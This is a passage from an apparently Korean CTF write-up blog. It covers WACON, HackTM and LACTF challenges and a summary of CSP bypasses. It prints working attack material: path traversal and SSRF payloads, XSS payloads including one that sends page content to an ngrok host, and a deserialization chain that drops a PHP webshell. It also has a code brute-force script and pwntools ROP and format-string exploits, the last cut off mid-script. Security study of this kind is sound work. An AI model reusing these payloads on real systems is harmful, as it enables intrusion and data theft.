            ext = guesstype.split("/")[1]
            mosaic_path = os.path.join(f'{MOSAIC_FOLDER}/{session["username"]}', f'{os.urandom(8).hex()}.{ext}')
            filename = os.path.join(f'{UPLOAD_FOLDER}/{session["username"]}', image_url)
            if os.path.isfile(filename):
                image = imageio.imread(filename)
            elif image_url.startswith("http://") or image_url.startswith("https://"):
                return "Not yet..! sry.."
            else:
                if type_check(guesstype):
                    image_data = requests.get(image_url, headers={"Cookie":request.headers.get("Cookie")}).content
                    image = imageio.imread(image_data)
            
            apply_mosaic(image, mosaic_path)
            return render_template("mosaic.html", mosaic_path = mosaic_path)
        else:
            return "Plz input image_url or Invalid image_url.."
    return render_template("mosaic.html")

@app.route('/upload', methods=['GET', 'POST'])
def upload():
    if not session.get('logged_in'):
        return redirect(url_for('login'))
    if request.method == 'POST':
        if 'file' not in request.files:
            return 'No file part'
        file = request.files['file']
        if file.filename == '':
            return 'No selected file'
        filename = os.path.basename(file.filename)
        guesstype = mimetypes.guess_type(filename)[0]
        image_path = os.path.join(f'{UPLOAD_FOLDER}/{session["username"]}', filename)
        if type_check(guesstype):
            file.save(image_path)
            return render_template("upload.html", image_path = image_path)
        else:
            return "Allowed file types are png, jpeg, jpg, zip, tiff.."
    return render_template("upload.html")

@app.route('/check_upload/@<username>/<file>')
def check_upload(username, file):
    print(f'{UPLOAD_FOLDER}/{username}')
    print(file)

    if not session.get('logged_in'):
        return redirect(url_for('login'))
    if username == "admin" and session["username"] != "admin":
        return "Access Denied.."
    else:
        return send_from_directory(f'{UPLOAD_FOLDER}/{username}', file)

if __name__ == '__main__':
    # init_db()
    app.run(host="0.0.0.0", port="9999", debug=True)

flag를 획득하기 위해서는 admin 계정과 로컬에서 요청을 보내야 획득할 수 있습니다.

@app.route('/', methods=['GET'])
def index():
    if not session.get('logged_in'):
        return '''<h1>Welcome to my mosiac service!!</h1><br><a href="/login">login</a>&nbsp;&nbsp;<a href="/register">register</a>'''
    else:
        if session.get('username') == "admin" and request.remote_addr == "127.0.0.1":
            copyfile(FLAG, f'{UPLOAD_FOLDER}/{session["username"]}/flag.png')
        return '''<h1>Welcome to my mosiac service!!</h1><br><a href="/upload">upload</a>&nbsp;&nbsp;<a href="/mosaic">mosaic</a>&nbsp;&nbsp;<a href="/logout">logout</a>'''

admin 패스워드는 같은 web project 위치에 있는 `password.txt` 파일로 관리되고 있었습니다. 이 파일을 열람할 수 있다면, admin 계정으로 로그인할 수 있습니다.

try:
    with open("password.txt", "r") as pw_fp:
        ADMIN_PASSWORD = pw_fp.read()
        pw_fp.close()
except:
    ADMIN_PASSWORD = "admin"

API 중에서 사용자가 업로드한 이미지를 확인하는 기능이 있습니다. 해당 기능에는 사용자로부터 `username`, `file` 두개의 파라미터를 받고 있습니다. 이때, 두 파라미터에 대한 검증이 없어 임의의 파일을 읽을 수 있습니다.

@app.route('/check_upload/@<username>/<file>')
def check_upload(username, file):
    print(f'{UPLOAD_FOLDER}/{username}')
    print(file)

    if not session.get('logged_in'):
        return redirect(url_for('login'))
    if username == "admin" and session["username"] != "admin":
        return "Access Denied.."
    else:
        return send_from_directory(f'{UPLOAD_FOLDER}/{username}', file)

따라서, `password.txt` 파일을 읽기 위해 다음과 같이 전송합니다.

curl http://host/check_upload/@../password.txt

위처럼 요청을 전송하면 admin의 패스워드를 획득할 수 있습니다.

admin 계정을 획득했지만, flag를 획득하기 위해 SSRF 취약점을 이용해야 합니다. SSRF 가 가능한 공격 백터는 다음과 같습니다.

@app.route('/mosaic', methods=['GET', 'POST'])
def mosaic():
    if not session.get('logged_in'):
        return redirect(url_for('login'))
    if request.method == 'POST':
        image_url = request.form.get('image_url')
        if image_url and "../" not in image_url and not image_url.startswith("/"):
            guesstype = mimetypes.guess_type(image_url)[0]
            ext = guesstype.split("/")[1]
            mosaic_path = os.path.join(f'{MOSAIC_FOLDER}/{session["username"]}', f'{os.urandom(8).hex()}.{ext}')
            filename = os.path.join(f'{UPLOAD_FOLDER}/{session["username"]}', image_url)
            if os.path.isfile(filename):
                image = imageio.imread(filename)
            elif image_url.startswith("http://") or image_url.startswith("https://"):
                return "Not yet..! sry.."
            else:
                if type_check(guesstype):
                    image_data = requests.get(image_url, headers={"Cookie":request.headers.get("Cookie")}).content
                    image = imageio.imread(image_data)
            
            apply_mosaic(image, mosaic_path)
            return render_template("mosaic.html", mosaic_path = mosaic_path)
        else:
            return "Plz input image_url or Invalid image_url.."
    return render_template("mosaic.html")

위 코드에서 requests 모듈을 이용해 SSRF 공격을 해야 합니다. 하지만 2개의 과정을 bypass 해야 하는데요.

1. `image_url` 파라미터에 확장자가 포함되어 있어야 한다.

2. `image_url` 파라미터에서 첫번째 값이 http:// 혹은 https:// 로 시작하면 안된다.

문제를 풀기 위해서는 `http://localhost` 이렇게 요청을 보내야 합니다. 하지만 첫번째 조건에서 파일 확장자가 없기 때문에 에러가 발생합니다. 이를 우회하기 위해 `http://localhost/#test.png` 로 전달합니다.

두번째 조건을 우회하기 위해서는 그냥 문자열 앞에 공백을 추가하면 끝입니다. ` http://localhost/#test.png`

최종적으로 이 문제를 풀기 위해서는 다음과 같습니다.

1. admin 패스워드 획득을 위해 `http://host/check_upload/@../password.txt` 로 요청 및 패스워드 획득

2. admin 계정으로 flag.png 라는 파일 이름으로 이미지 파일 업로드

3. SSRF 취약점으로 ` http://localhost/#test.png` 요청

4. admin 계정으로 `/check_upload/@admin/flag.png` 요청 및 flag 획득

2. [web] warmup-revenge

이 문제는 XSS를 통해 Cookie 안에 있는 flag를 획득하는 문제 입니다.

사용자는 회원가입, 로그인, 글 작성 및 파일 업로드, 다운로드 기능을 사용할 수 있습니다. 하지만, 사용자가 입력한 값들은 html entity가 escape 되어 출력됩니다. 따라서 이러한 방법으로 XSS를 할 수 없습니다.

사용자가 업로드한 파일은 랜덤한 파일 이름과 확장자 없이 저장됩니다. 따라서 사용자가 업로드한 파일 이름을 알 수 없어 업로드 파일에 다이렉트로 접근할 수 없습니다.

코드를 분석하면서 의심되는 부분은 사용자가 파일 업로드를 포함해서 작성한 게시글에 다음과 같은 javascript 코드가 존재하는 것을 볼 수 있었습니다. 요청 URL에 `auto_download` 파라미터 값이 존재하면 2초 뒤에 download link를 `window.open()` 함수를 이용하여 팝업으로 띄우는 기능이 존재합니다.

const urlParams = new URLSearchParams(window.location.search);
var auto_download = urlParams.get('auto_download') ? 1 : 0
if(auto_download) {
	setTimeout(download, 2000);
}

function download() {
    window.open(document.getElementById("download").href);
}

`window.open()` 함수 docs를 보면, Same-Origin Policy를 적용하고 있습니다. 즉, `window.open()` 함수로 열린 URL이 동일한 origin일 경우, 해당 origin에서 XSS를 통해 Cookie를 탈취할 수 있습니다.

https://developer.mozilla.org/en-US/docs/Web/API/Window/open

하지만, 사용자가 업로드한 파일을 다운로드할 경우 Response header에는 `Content-Disposition` Header 가 존재하여 브라우저가 파일을 강제로 다운로드 받는 것이 문제 입니다. 만약, `Content-Disposition` Header를 동작하지 못하게 할 수 있다면, 브라우저가 파일을 다운로드 받지 않고 rendering 해 줄 것입니다.

구글링 하던 중, 아래와 같은 글을 읽게 되었습니다. 이 글에서는 `Content-Type` 에 newline을 넣어 Response Header에 `Content-Disposition: inline` 을 넣은 것을 볼 수 있었습니다.

Defeating Content-Disposition

The Content-Disposition response header tells the browser to download a file rather than displaying it in the browser window. Content-Disposition: attachment; filename="filename.jpg" For example, even though this HTML outputs alert(document.domain) , becau

markitzeroday.com

문제 코드에서 사용자가 업로드한 파일 이름에 대해 newline에 대한 필터링이 없는 것을 볼 수 있습니다.

따라서 다음과 같이 filename에 `test.xml` 이후에 `\r` 를 넣고 `Content-Disposition: inline;` 를 추가하여 업로드 합니다.

`\r` 문자는 burpsuite에서 Hex 탭에 넣을 수 있습니다.

위 글을 작성한 뒤, 다운로드 기능을 이용하면 파일이 다운로드 되지 않는 것을 볼 수 있습니다. 하지만, CSP 정책으로 인해 inline javascript 가 실행되지 않습니다.

CSP를 보면 `script-src 'self';` 로 되어 있습니다. 이를 이용하여 CSP를 우회할 수 있습니다.

Content-Security-Policy: default-src 'self'; style-src 'self' https://stackpath.bootstrapcdn.com 'unsafe-inline'; script-src 'self'; img-src data:

해당 문제에는 파일 업로드 기능이 있기 때문에 `alert(document.domain)` 문자열만 업로드 합니다. 이때 파일 다운로드 번호를 1번이라고 합시다.

이후, 위 파일을 불러오는 html 코드를 작성하고 저장합니다. 이 첨부파일의 번호를 2번이라고 했을 때, `/download.php?idx=1` 로 요청을 보내면 XSS가 동작하는 것을 볼 수 있습니다.

<script src="/download.php?idx=1"></script>

따라서 이 문제를 풀기 위해서는 Cookie를 탈취하기 위한 javascript 코드를 업로드 해야하고, 이를 load하는 html 파일을 업로드 한 뒤, bot에게 `auto_download` 파라미터를 포함한 링크를 전달하면 flag를 획득할 수 있습니다.

WACON2023{b1b1e2b97fcfd419db87b61459d2e267}

3. [misc] Web?

이 문제를 풀기 위해서는 eval.js 파일의 `eval()` 함수를 통해 flag를 읽어야 하는 문제 입니다.

const express = require("express");
const bodyParser = require("body-parser");
const session = require("express-session");
const child_process  = require("child_process");

const crypto = require("crypto");
const random_bytes = size => crypto.randomBytes(size).toString();
const sha256 = plain => crypto.createHash("sha256").update(plain.toString()).digest("hex");

const users = new Map([
    [],
]);

const now = () => { return Math.floor(+new Date()/1000) }
const checkoutTimes = new Map()

const app = express();

app.use(bodyParser.json());
app.use(
    session({
        cookie: { maxAge : 600000 },
        secret: random_bytes(64),
    })
);

const loginHandler = (req, res, next) => {
    if(!req.session.uid) {
        return res.redirect("/")
    }
    next();
}

app.all("/", (req, res) => {
    return res.json({ "msg" : "hello guest" });
});

app.post("/login", (req, res) => {
    const { username, password } = req.body;

    if ( typeof username !== "string" || typeof password !== "string" || username.length < 4 || password.length < 6) {
        return res.json({ msg: "invalid data" });
    }

    if (users.has(username)) {
        if (users.get(username) === sha256(password)) {
            req.session.uid = username;

            return res.redirect("/");
        } else {
            return res.json({ msg: "Invalid Password" });
        }
    } else {
        users.set(username, sha256(password));
        req.session.uid = username;
        return res.redirect("/");
    }
});

app.post("/calc", (req,res) => {
	// if(checkoutTimes.has(req.ip) && checkoutTimes.get(req.ip)+1 > now()) {
	// 	return res.json({ error: true, msg: "too fast"})
	// }
	// checkoutTimes.set(req.ip,now())

    const { expr, opt } = req.body;
    const args = ["--experimental-permission", "--allow-fs-read=/app/*"];

    const badArg = ["--print", "-p", "--input-type", "--import", "-e", "--eval", "--allow-fs-write", "--allow-child-process", "-", "-C", "--conditions"]
    
    console.log(expr)
    console.log(opt)

    if (!expr || typeof expr !== "string" ) {
        return res.json({ msg: "invalid data" });
    }

    if (opt) {
        if (!/^--[A-Za-z|,|\/|\*|\=|\-]+$/.test(opt) || badArg.includes(opt.trim())) {
            return res.json({ error: true, msg: "Invalid option" });
        }
        args.push(opt, "eval.js", btoa(expr));
    }

    args.push("eval.js", btoa(expr));

    console.log("================")
    console.log(args)
    console.log("================")
	try {
		ps = child_process.spawnSync("node", args);
        result = ps.stdout.toString().trim();
        if (result) {
            return res.type("text/plain").send(result)
        } 
        return res.type("text/plain").send("Empty");
	} catch (e) {
        console.log(e)
        return res.json({ "msg": "Nop" })
    }
});

app.listen(8001);

const fs = require("fs");
let filter = null;
try {
    filter = fs.readFileSync("config").toString();
} catch(e) {console.log(e)}

const expr = process.argv.pop();
const regex = new RegExp(filter);
if (regex.test(expr)) {
    console.log("Nop");
} else {
    console.log(eval(expr));
}

// config file

[^\+|\*|-|%|\/|\d+|0-9]

`--allow-fs-read` 옵션에서 `,` 를 이용하여 여러개의 경로에 `FillSystemRead` 권한을 부여할 수 있습니다.

예를 들어, 다음과 같이 `--allow-fs-read=/app/eval*` 옵션을 전달하면 eval.js 파일에 대해서만 File Read가 가능합니다. 이때, eval.js 파일에서는 `config` 파일을 읽지 못해 사용자가 전달한 `expr` 파라미터를 검증할 수 없어 임의의 코드를 실행할 수 있습니다.

따라서 `/flag*` 를 추가하여 flag를 획득할 수 있습니다.

ctf 문제를 통해 CSP bypass 정리하기

Universe7202 — Mon, 13 Mar 2023 23:00:22 +0900

쿠키 냠냠

1. 업로드 기능을 활용한 bypass

서버에 다음과 같이 CSP가 적용되어 있다고 가정해 봅시다.

`script-src` 지시자에는 `self` 와 랜덤한 `nonce` 값이 설정되어 있습니다.

즉, `<script>alert(1)</script>` 와 같은 payload는 `nonce` 값이 없기 때문에 실행이 되지 않습니다.

<?php
    $nonce = base64_encode(sha1(RandomString()));
    $CSP = array(
        "default-src 'self'",
        "script-src 'self' 'nonce-$nonce'"
    );
    header("Content-Security-Policy: " . join("; ", $CSP));

    echo $_GET["data"];
?>

이를 우회하기 위해서는 `self`를 이용하면 됩니다. 만약 서버에 js 파일을 업로드 할 수 있거나, 사용자가 입력한 값만 그대로 출력하는 페이지가 있다면, 이를 이용하여 bypass 할 수 있습니다.

따라서 bypass payload는 다음과 같습니다.

http://localhost:8080/test.php?data=<script src="/ping?pong=alert(document.domain)"></script>

2. JSONP API를 활용한 bypass

JSONP를 지원하는 origin이 CSP에 지정되어 있다면, 다음과 같은 Origin으로부터 악용이 가능합니다.

2-1. accounts.google.com

다음과 같이 CSP가 설정되어 있다고 가정합시다.

script-src self accounts.google.com

`accounts.google.com` origin에는 다음과 같은 JSONP를 지원합니다.

`callback` 파라미터에 `alert(1);` 를 넣게 되면, 아래 사진처럼 응답을 받을 수 있습니다.

따라서, 이를 이용하여 다음과 같은 payload로 xss를 트리거 할 수 있습니다.

/test.php?data=<script src='https://accounts.google.com/o/oauth2/revoke?callback=alert(1);'></script>

2.2 youtube.com

다음과 같이 CSP가 설정되어 있다고 가정합시다.

script-src self youtube.com

youtube.com 호스트만 허용된 상태입니다. 이것도 마찬가지로 JSONP 를 이용한 XSS가 가능합니다.

이와 관련된 문제는 다음 링크에 있습니다.

hacktm ctf 2023 writeup

1. [web] Blog cookie 값을 `unserialize()` 하고 있다. 이를 활용하여 취약한 클레스를 찾다 보니, `Profile` 클래스가 눈에 들어왔다. `file_get_contents()` 함수가 `$this->picture_path` 맴버 변수 값을 통해 파일을 읽

lactea.kr

<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=alert(1)></script>

추가 예정

hacktm ctf 2023 writeup

Universe7202 — Tue, 21 Feb 2023 16:28:10 +0900

1. [web] Blog

cookie 값을 `unserialize()` 하고 있다.

이를 활용하여 취약한 클레스를 찾다 보니, `Profile` 클래스가 눈에 들어왔다.

`file_get_contents()` 함수가 `$this->picture_path` 맴버 변수 값을 통해 파일을 읽으려고 한다.

즉, `Profile` 클래스의 `picture_path` 맴버 변수를 이용하여 flag 값을 읽으면 문제를 해결할 수 있다.

O:4:"User":2:{s:7:"profile";O:7:"Profile":2:{s:8:"username";s:8:"universe";s:12:"picture_path";s:46:"/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt";}s:5:"posts";a:0:{}}

HackTM{r3t__toString_1s_s0_fun_13c573f6}

2. [web] Blog Revenge

아마 Blog 문제가 출제자의 의도와 맞지 않게 풀려서, flag 파일 위치만 바꿔 다시 출제한 것으로 판단된다.

공식 writeup이 어디에 있는지는 모르겠지만, 다른 사람들은 sqlite query문을 통해 php 파일을 만들고 RCE를 했다고 한다.

sqlite는 `ATTACH DATABASE` 라는 구문이 존재한다. 이에 대한 설명은 아래 사이트에 설명이 되어있다.

SQLite ATTACH DATABASE with Examples

This tutorial shows you how to use the SQLite ATTACH DATABASE statement to associate additional databases with the current database connection.

www.sqlitetutorial.net

위 사이트 설명대로, 다음과 같이 query를 작성하면 DB 파일을 생성하고 연결하게 된다.

생성된 DB에 table을 만들고 php 코드를 insert하게 되면 DB 파일 생성을 통한 webshell을 만들 수 있게 된다.

$conn = new Conn;
$conn->queries = array(
    new Query("ATTACH DATABASE '/var/www/html/images/.somerandomname.php' AS jctf;", array()),
    new Query("CREATE TABLE jctf.pwn (dataz text);", array()),
    new Query('INSERT INTO jctf.pwn (dataz) VALUES ("<?php system($_GET[0]); ?>");', array())
);

$in_user = new User("asdf");
$in_user->profile = $conn;

$profile = new Profile("asdf");
$profile->username = $in_user;

$user = new User("asdf");
$user->profile = $profile;
// User.get_profile() converts $this->profile to a string
//   profile = Profile, calls Profile.__toString() which does string conversion when placing $this->username in a string
//   (caveat: it has to pass db checks, which will place an empty str as the username in the sql query since the username is not a string)
//     username = User, calls User.__toString() which in turn calls $this->profile()
//       profile = Conn, already initialized with three queries to drop a webshell

echo base64_encode(serialize($user));

3. [web] Crocodilu

회원가입 후 로그인을 시도하면, active 상태가 아니기 때문에 로그인을 할 수 없다.

문제 코드를 보면, 회원가입을 한 사용자는 기본적으로 `active=False` 상태이기 때문이다.

`reset_code()` 함수를 사용할 때는 이메일 값을 `lower()` 하지 않고 로직을 처리하고 있다.

필자는 다음과 같이 생각했다.

대소문자를 구분하지 않는 mysql과 대소문자를 구분하는 redis 특성을 이용하여, 브포 방어 코드를 bypass 할 수 있디.

code 값은 숫자로 이뤄진 4자리이기 때문에, 다음과 같이 email 값을 길게 만들고 대문자를 하나씩 바꿔가면서 검증하는 코드를 작성했다.

import requests

EMAIL = "universeuniverseuniverseuniverseuniverseuniverseuniverseuniverseuniverseuniverseuniverseuniverse3@t.c"
URL   = "http://34.141.16.87:25000"

def request_code():
    res = requests.post(f"{URL}/request_code", data = {"email" : EMAIL})
    print(res.text)


def reset_code():
    code = 0
    tmp_email = EMAIL

    for i in range(len(EMAIL)):

        if EMAIL[i] == "@":
            break

        for j in range(i, len(EMAIL)):
            if EMAIL[j].isnumeric() == True:
                continue

            if EMAIL[j] == "@":
                break

            j_tmp_email = list(tmp_email)
            j_tmp_email[j] = j_tmp_email[j].upper()
            j_tmp_email = ''.join(j_tmp_email)

            for _ in range(2):
                res = requests.post(f"{URL}/reset_password", data = {"email" : j_tmp_email, "code" : str(code).rjust(4, "0"), "password": "universe"})
                print(f"[!] reset_password [{str(code).rjust(4, '0')}]: {j_tmp_email}")

                if res.text.find("Invalid email or code") == -1:
                    print(res.text)
                    print("[*] password change")
                    print(f"[*] code: {code}")
                    exit()
                else:
                    code += 1
            

        tmp_email = list(tmp_email)
        tmp_email[i] =  tmp_email[i].upper()
        tmp_email = ''.join(tmp_email)

if __name__ == "__main__":
    request_code()
    reset_code()

로그인에 성공한 뒤, 게시글을 작성하여 XSS를 트리거 시켜야 한다.

하지만, 다음과 같이 iframe 태그에 정해진 youtube host와 CSP가 적용되어 있어 XSS를 트리거 시키기 어려웠다.

add_header Content-Security-Policy "default-src 'self' www.youtube.com www.google.com/recaptcha/ www.gstatic.com/recaptcha/ recaptcha.google.com/recaptcha/; object-src 'none'; base-uri 'none';";

이후 롸업을 봤는데, BeautifulSoup 모듈의 해석을 이용하는 방법과 youtube의 JSONP를 이용하여 XSS를 트리거 하는 벙법이다.

Crocodilu - CTFs

blacklist = ['script', 'body', 'embed', 'object', 'base', 'link', 'meta', 'title', 'head', 'style', 'img', 'frame']

ctf.zeyu2001.com

우선, BeautifulSoup 모듈에서 html 코드를 해석할 때, 주석을 포함한 script를 태그를 넣는다.

다음과 같이 주석이기 때문에 parse를 하지 않고 빈 list 를 리턴한다.

>>> BeautifulSoup("<!--><script>alert(1)</script>-->", 'html.parser').find_all()
[]
>>>

위 html 코드를 브라우저에서 확인해보면, 정상적으로 XSS가 동작하는 것을 볼 수 있다.

아마도, BeautifulSoup 모듈은 `<!-->` 를 주석으로 생각해서 parse하지 않은 것으로 판단된다.

브라우저는 `` 로 바꿔 표현한 것으로 판단된다.

두번째로, csp evaluator 사이트를 통해 위 CSP를 확인해보면, 다음과 같이 youtube 호스트에는 알려진 CSP bypass가 존재한다고 설명되어 있다.

위 게시글에는 다음과 같은 사이트에서 youtube에 사용된 callback을 찾게 되었다.

https://issuetracker.google.com/issues/35171971?pli=1

Google Issue Tracker

issuetracker.google.com

위 링크에 있는 youtube callback 링크에 요청을 다음과 같이 보내면, jsonp 에러가 발생하는 것을 볼 수 있다.

따라서 최종적인 payload는 다음과 같다.

<!--><script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>-->

4. [web] secrets

다음은 아래 롸업을 통해 재작성 되었다.

secrets - CTFs

The challenge had SameSite=Lax cookies, so the primitive for any XS-Leak attack is a top-level navigation (e.g. through window.open). There is no way to detect server response codes in a cross-origin window reference, so I started looking for other ways to

ctf.zeyu2001.com

해당 문제는 XS leak 공격을 통해 접근할 수 없는 게시글의 내용(flag)을 탈취해야 한다.

이 문제의 기능 중에는 검색 기능이 있는데, 다음과 같은 조건을 만족하면 검색 목록을 보여준다.

검색한 내용이 게시글에 포함되어야 한다.
본인 게시글만 검색이 가능하다.

위 조건을 근거로, 게시글을 찾았을 때 패킷을 보면 다음과 같다.

응답 패킷을 보면, 다른 `results.wtl.pw` host로 이동되는 것을 볼 수 있다. (추가로 검색된 게시글의 idx 번호와 query도 함께 GET 방식으로 전달된다.)

게시글이 존재할 경우

반대로 검색된 게시글이 없을 경우, 다음과 같다.

원래 host에 fragment를 붙여 페이지를 이동 시키고 있다.

게시글이 없을 경우

4-1. Unintended Solution - Chrome's 2MB URL limit

롸업 중에서, chrome의 URL 길이 제한으로 redirection 여부를 확인하는 방법을 소개하고 있다.

존재하는 게시글의 검색 내용과 fragment를 이용하여 redirection 되었을 때, 추가로 게시글 번호 idx 값이 붙는다.

이 점을 이용하여 chrome의 URL 길이 제한 에러를 판단할 수 있다.

<html>
<body>
	<script>
		(async() => {
			let flag = "HackTM{"

			const request = async(char) => {
			let url = "http://secrets.wtl.pw/search?query=" + flag;
			let w = window.open(url + char + "#" + "A".repeat(2 * 1024 * 1024 - url.length - 2));
                
            setTimeout(() => {
                try{
                   console.log(w.origin);
                   flag += char
                   fetch(`/result?flag=${flag}`);
                   return 0;
                }
                catch{
                   return 1;
                }
            }, 1000)
        }

			const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789}"
            const loop = async () => {
                for(let len = 0; len<30; len++){
                    for(let c of CHARSET){
                        const result = await request(c);
                        await new Promise(resolve => setTimeout(resolve, 50))
                        if(result == 0){
                            break
                        }
                    }
                }
            }
            loop();
		})();
	</script>
</body>
</html>

4-2. CSP Violation - SecurityPolicyViolationEvent

다음은 CSP Violations 중 `SecurityPolicyViolationEvent` 를 활용한 방법이다.

이 이벤트는 CSP를 위반 했을 때, 위 이벤트가 발생된다. 다음은 이에 대한 예제 코드이다.

(출처: https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)

<!-- Set the Content-Security-Policy to only allow example.org -->
<meta http-equiv="Content-Security-Policy"
      content="connect-src https://example.org">
<script>
// Listen for a CSP violation event
document.addEventListener('securitypolicyviolation', () => {
  console.log("Detected a redirect to somewhere other than example.org");
});
// Try to fetch example.org. If it redirects to another cross-site website
// it will trigger a CSP violation event
fetch('https://example.org/might_redirect', {
  mode: 'no-cors',
  credentials: 'include'
});
</script>

CSP의 `connect-src` directive를 이용하여 특정 호스트만 통신하게끔 설정했다.

만약 `fetch()` 등으로 허용된 origin과 통신을 시도할 때, 다른 origin으로 redirect 될 경우 `SecurityPolicyViolationEvent` 가 트리거 된다.

CSP의 `connect-src` directive 뿐만 아니라 `form-src` directive도 마찬가지이다.

<!-- Set the Content-Security-Policy to only allow example.org -->
<meta http-equiv="Content-Security-Policy"
      content="form-action https://example.org">
<form action="https://example.org/might_redirect"></form>
<script>
// Listen for a CSP violation event
document.addEventListener('securitypolicyviolation', () => {
  console.log("Detected a redirect to somewhere other than example.org");
});
// Try to get example.org via a form. If it redirects to another cross-site website
// it will trigger a CSP violation event
document.forms[0].submit();
</script>

다른 사람의 롸업을 보면, 위 방법을 이용하여 redirection을 감지하고 recursive하게 동작하는 php + javascript 코드를 작성했다.

Secrets - HackTM CTF Writeup

Exfiltrate the note from the bot using an XS-Leaks technique called 'Cross-Origin Redirects and CSP Violations'

www.xanhacks.xyz

lactf 2023 writeup

Universe7202 — Tue, 14 Feb 2023 12:47:35 +0900

1. [pwn] gatekeep

이 문제는 단순 bof를 통해 다른 변수의 값을 변조시켜 flag를 획득하는 문제이다.

`lactf{sCr3am1nG_cRy1Ng_tHr0w1ng_uP}`

2. [pwn] bot

이 문제의 c코드는 다음과 같다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(void) {
  setbuf(stdout, NULL);
  char input[64];
  volatile int give_flag = 0;
  puts("hi, how can i help?");
  gets(input);
  if (strcmp(input, "give me the flag") == 0) {
    puts("lol no");
  } else if (strcmp(input, "please give me the flag") == 0) {
    puts("no");
  } else if (strcmp(input, "help, i have no idea how to solve this") == 0) {
    puts("L");
  } else if (strcmp(input, "may i have the flag?") == 0) {
    puts("not with that attitude");
  } else if (strcmp(input, "please please please give me the flag") == 0) {
    puts("i'll consider it");
    sleep(15);
    if (give_flag) {
      puts("ok here's your flag");
      system("cat flag.txt");
    } else {
      puts("no");
    }
  } else {
    puts("sorry, i didn't understand your question");
    exit(1);
  }
}

위 코드를 보면 `gets()` 함수로 입력을 받고 있기 때문에 bof 공격에 취약하다. checksec으로 확인해보면, 카나리는 없는 것을 볼 수 있다.

`strcmp()` 함수로 사용자의 입력값을 검증하고 있는데, 입력값이 일치하지 않으면 `exit()` 함수로 프로그램을 종료 시킨다. 즉, 입력 값을 만족시키지 않으면 bof를 한다고 해도 성공할 수 없다.

따라서 입력 값을 만족시키는 값을 넣고 `\x00` 값을 넣은 뒤, 이후에 bof payload를 작성하면 문제를 해결할 수 있다.

bof로 `libc base`를 leak 하고 `libc_system` 함수의 주소를 찾아 return 주소에 overwrite 한다.

from pwn import *

context.log_level = "debug"

pop_rdi_ret = 0x40133b

# p = process("./bot")
p = remote("lac.tf", "31180")
e = ELF("./bot")
l = ELF("./libc-2.31.so")

payload  = b"give me the flag\x00"
payload += (0x48 - len(payload)) * b"A"
payload += p64(pop_rdi_ret)
payload += p64(e.got["gets"])
payload += p64(e.plt["puts"])
payload += p64(e.symbols["main"])

p.sendlineafter(b"hi, how can i help?", payload)

p.recvuntil(b"\x6f\x0a")

gets_libc = u64(p.recv(6) + b"\x00\x00")
libc_base = gets_libc - l.symbols["gets"]
system = libc_base + l.symbols["system"]

print(f"gets_libc: {hex(gets_libc)}")
print(f"libc_base: {hex(libc_base)}")


payload  = b"give me the flag\x00"
payload += (0x48 - len(payload)) * b"A"
payload += p64(pop_rdi_ret)
payload += p64(e.bss() + 0x10)
payload += p64(e.plt["gets"])
payload += p64(pop_rdi_ret)
payload += p64(e.bss() + 0x10)
payload += p64(system)

p.sendlineafter(b"hi, how can i help?", payload)
p.sendline("cat flag.txt")

p.interactive()

# lactf{hey_stop_bullying_my_bot_thats_not_nice}

3. [pwn] rickroll

이 문제는 Cheshire님과 함께 고민하여 해결했다.

제공된 c코드는 다음과 같다.

`printf(buf)`에서 fsb 취약점이 발생한다.

#include <stdio.h>

int main_called = 0;

int main(void) {
    if (main_called) {
        puts("nice try");
        return 1;
    }
    main_called = 1;
    setbuf(stdout, NULL);
    printf("Lyrics: ");
    char buf[256];
    fgets(buf, 256, stdin);
    printf("Never gonna give you up, never gonna let you down\nNever gonna run around and ");
    printf(buf);
    printf("Never gonna make you cry, never gonna say goodbye\nNever gonna tell a lie and hurt you\n");
    return 0;
}

checksec으로 확인해보면, `RELRO: Partial RELRO` 이기 때문에, GOT를 overwrite 할 수 있다.

fsb로 libc_base를 leak 하고, puts 함수의 GOT를 main함수의 주소로 overwrite 하는 시나리오를 생각했다.

추가로 main_called 변수로 main 함수가 여러번 호출되었는지를 검증하고 있기 때문에, 이 변수 또한 fsb로 0으로 초기화 시킨다.

from pwn import *
import sys

context.log_level = "debug"

# p = process("./rickroll")
p = remote("lac.tf", "31135")
e = ELF("./rickroll")
l = e.libc
# l = ELF("./libc.so.6")

if len(sys.argv) != 1:
    script = """
        b *main
        b *0x00000000004011c2
        b *0x4011e7
        b *0x4011f3
    """
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p, script)

main_called = 0x40406c

payload  = b"%20$hn"                        # overwrite main_called
payload += (8 - len(payload)) * b"A"
payload += b"A"*8
payload += b"A"*7
payload += b"%21$hhn"                       # overwrite puts GOT -> main 1bit
payload += b"B"*2
payload += b"A"*8
payload += b"A"*8
payload += b"A"*8
payload += b"A"*8
payload += b"A"*8
payload += b"A"*8
payload += b"A"*8
payload += b"A"*7
payload += b"%22$hhn"                       # overwrite puts GOT -> main 1bit
payload += b"A"*2
payload += b"%39$pAAA"                      # Leak address __libc_start_main
payload += p64(main_called)
payload += p64(e.got["puts"] + 1)
payload += p64(e.got["puts"])


p.sendlineafter(b"Lyrics: ", payload)

p.recvuntil(b"0x")
addr = int(b"0x" + p.recv(12), 16)

# local
# libc_start_main = addr - 243 
# libc_base = libc_start_main - l.symbols["__libc_start_main"]
# system = libc_base + l.symbols["system"]

# remote
libc_base = addr - 0x1d0a
system = libc_base + 0x23e50
binsh = libc_base + 0x174152

overwrite = system & 0x000000ffffff


print(f"addr: {hex(addr)}")
print(f"libc_base: {hex(libc_base)}")
print(f"system: {hex(system)}")

offset_1 = overwrite & 0xff
offset_2 = (overwrite & 0xff00) >> 8
offset_3 = (overwrite & 0xff0000) >> 16


tmp_1 = 8 - len(f"%{offset_1}c")
tmp_2 = 8 - len(f"%{256 - offset_1 + offset_2 - 4}c")
tmp_3 = 8 - len(f"%{256 - offset_2 + offset_3}c")

payload  = b"%13$hhnA"                                                  # overwrite main_called
payload += f"%{offset_1 - tmp_1 - 1}c".encode() + tmp_1 * b"A"          # system+0 
